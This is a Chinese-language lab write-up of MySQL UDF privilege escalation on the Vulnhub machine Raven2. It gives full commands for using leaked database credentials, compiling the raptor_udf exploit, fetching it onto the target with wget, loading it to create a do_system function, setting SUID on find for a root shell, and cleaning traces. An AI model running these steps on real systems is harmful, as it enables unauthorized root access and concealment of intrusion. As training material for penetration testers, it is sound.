Linux提权(六)MYSQL UDF提权

admin 2025年6月26日01:49:22评论2 views字数 1748阅读5分49秒阅读模式

漏洞说明

UDF是mysql的一个拓展接口,UDF(User defined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。用户可以通过UDF添加自定义函数,在sql语句中直接调用。当我们有了数据库读取和写⼊权限以后,我们就可以尝试使⽤UDF提权的⽅法,从数据库root权限提升到系统的管理员权限。

udf提权条件

  • 掌握MySQL数据库的账户密码,拥有对mysql的insert和delete权限,以创建和抛弃函数。

  • 当前⽤户拥有可以将udf.dll写⼊相应⽬录的权限。

  • 如果MySQL版本小于5.1且为Windows系统,则udf.dll⽂件存放在 C:windows 或者 C:windowssystem32⽬录下。

  • 如果MySQL版本⼤于5.1,udf.dll⽂件必须放置在MySQL安装⽬录的lib/plugin⽂件夹下,该plugin⽬录默认,不存在需要创建

漏洞复现

使Raven2

:https://www.vulnhub.com/entry/raven-2,269/

过CVE-2016-10033远程代码执行漏洞获取到了靶机的webshell权限

Linux提权(六)MYSQL UDF提权

利用LinEnum查看linux信息, 将 LinEnum.sh 脚本导入到靶机中,该脚本可以枚举各种 Linux 系统的各种信息

https://github.com/rebootuser/LinEnum  #下载地址chmod +x LinEnum.sh  # 赋予执行权限./LinEnum.sh  # 执行

从wordpress的配置文件wp-config.php中可以发现数据库账号密码

rootR@v3nSecurity

Linux提权(六)MYSQL UDF提权

之后查看进程发现,Mysql服务以root权限启动,因此想到利用Mysql UDF提权

Linux提权(六)MYSQL UDF提权

用python切换到交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

通过账号密码连接mysql,查看版本

mysql -u root -pR@v3nSecurityselect version();

Linux提权(六)MYSQL UDF提权

发现可以进行Mysql udf提权,查询相关的exploit

searchsploit mysql udf    # 查找expsearchsploit  -m 1518.c  # 下载使用1518.c

Linux提权(六)MYSQL UDF提权

查看1518.c文件的使用说明

cat 1518.c

Linux提权(六)MYSQL UDF提权

使用文件内操作方法进行编译,生成so文件后上传到靶机上

mv 1518.c  raptor_udf.cgcc -g -c raptor_udf.cgcc -g -shared -o  raptor_udf.so raptor_udf.o -lc

Linux提权(六)MYSQL UDF提权

将so文件下载到靶机

python3 -m http.server 8088wget http://192.168.175.140:8088/raptor_udf.so

Linux提权(六)MYSQL UDF提权

接下来使用脚本中的方法执行mysql命令

mysql -u root -pR@v3nSecurituse mysql;create table foo(line blob);insert into foo values(load_file('/tmp/raptor_udf.so'));select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';create function do_system returns integer soname 'raptor_udf.so';create function do_system returns integer soname 'raptor_udf.so';select * from mysql.func;

Linux提权(六)MYSQL UDF提权

创建成功后执行以下命令,成功提权到root权限

select do_system('chmod u+s /usr/bin/find'); # 利用自定义函数改变find命令权限find . hello -exec "/bin/sh" ; # find提权

Linux提权(六)MYSQL UDF提权

清理痕迹

drop function do_system;Delete from mysql.func where name='do_system';

原文始发于微信公众号(渗透笔记):Linux提权(六)MYSQL UDF提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月26日01:49:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux提权(六)MYSQL UDF提权http://cn-sec.com/archives/2497134.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息